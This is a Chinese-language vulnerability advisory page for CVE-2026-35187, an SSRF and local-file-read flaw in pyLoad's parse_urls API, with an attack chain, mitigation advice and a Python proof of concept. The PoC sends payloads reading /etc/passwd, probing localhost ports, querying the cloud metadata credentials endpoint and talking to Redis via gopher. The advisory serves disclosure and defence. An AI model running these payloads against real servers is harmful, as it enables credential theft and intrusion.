IPBUF安全漏洞报告
English
CVE-2026-35187 CVSS 7.7 高危

CVE-2026-35187 pyLoad 服务器端请求伪造漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35187
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

SSRFLFIpyLoad信息泄露CVE-2026-35187

漏洞概述

pyLoad是一款开源下载管理器。在0.5.0b3.dev96及更早版本中,其`parse_urls` API函数存在严重安全漏洞。该函数在处理URL时未进行有效验证,允许拥有ADD权限的认证用户通过`get_url`函数发送任意请求。攻击者可利用此漏洞读取服务器本地文件、探测内网资源或访问云元数据端点,从而造成严重的信息泄露风险。

技术细节

该漏洞源于`src/pyload/core/api/__init__.py`文件中的`parse_urls` API函数。该函数直接使用pycurl库的`get_url()`方法获取用户提供的URL,未对URL格式、协议或目标IP地址进行任何安全校验与限制。由于缺少协议白名单和IP黑名单机制,攻击者利用低权限账号(ADD权限)即可构造恶意请求。利用方式包括使用`file://`协议读取服务器上的敏感文件;利用`http/https`协议对内网服务进行端口扫描或SSRF攻击;使用`gopher://`或`dict://`协议与内部服务交互。此外,通过分析服务器返回的错误信息(如错误码37),攻击者还能判断特定文件是否存在,进一步扩大信息泄露范围。

攻击链分析

STEP 1
步骤1:获取认证
攻击者注册或获取一个具有ADD权限的pyLoad账户。
STEP 2
步骤2:构造恶意请求
攻击者向`parse_urls` API接口发送包含恶意URL(如file:///etc/passwd)的POST请求。
STEP 3
步骤3:服务端请求执行
服务器端pyLoad组件在未验证的情况下,通过pycurl库请求攻击者指定的URL。
STEP 4
步骤4:信息回传
服务器将请求结果返回给攻击者,导致本地文件内容泄露或内网信息被探测。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL TARGET_URL = "http://target-pyload-server:8000/api/parse_urls" # Attacker credentials (requires ADD permission) SESSION_COOKIE = "session=attacker_session_id" # Headers headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/json" } # Payloads demonstrating different attack vectors payloads = [ # 1. Local File Inclusion (LFI) "file:///etc/passwd", # 2. Internal Network Scanning / SSRF "http://127.0.0.1:22", # 3. Cloud Metadata Access "http://169.254.169.254/latest/meta-data/iam/security-credentials/", # 4. Gopher protocol interaction "gopher://127.0.0.1:6379/_INFO" ] for payload in payloads: print(f"[*] Testing payload: {payload}") data = {"urls": payload} try: response = requests.post(TARGET_URL, json=data, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Success! Response: {response.text[:200]}") else: print(f"[-] Failed with status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

pyLoad <= 0.5.0b3.dev96

防御指南

临时缓解措施
建议立即将pyLoad升级至修复了该漏洞的版本。若无法立即升级,应严格限制对pyLoad管理后台的访问来源IP,并审查用户权限,确保非必要用户不具备ADD权限,同时监控服务器出站流量以检测异常的内部访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表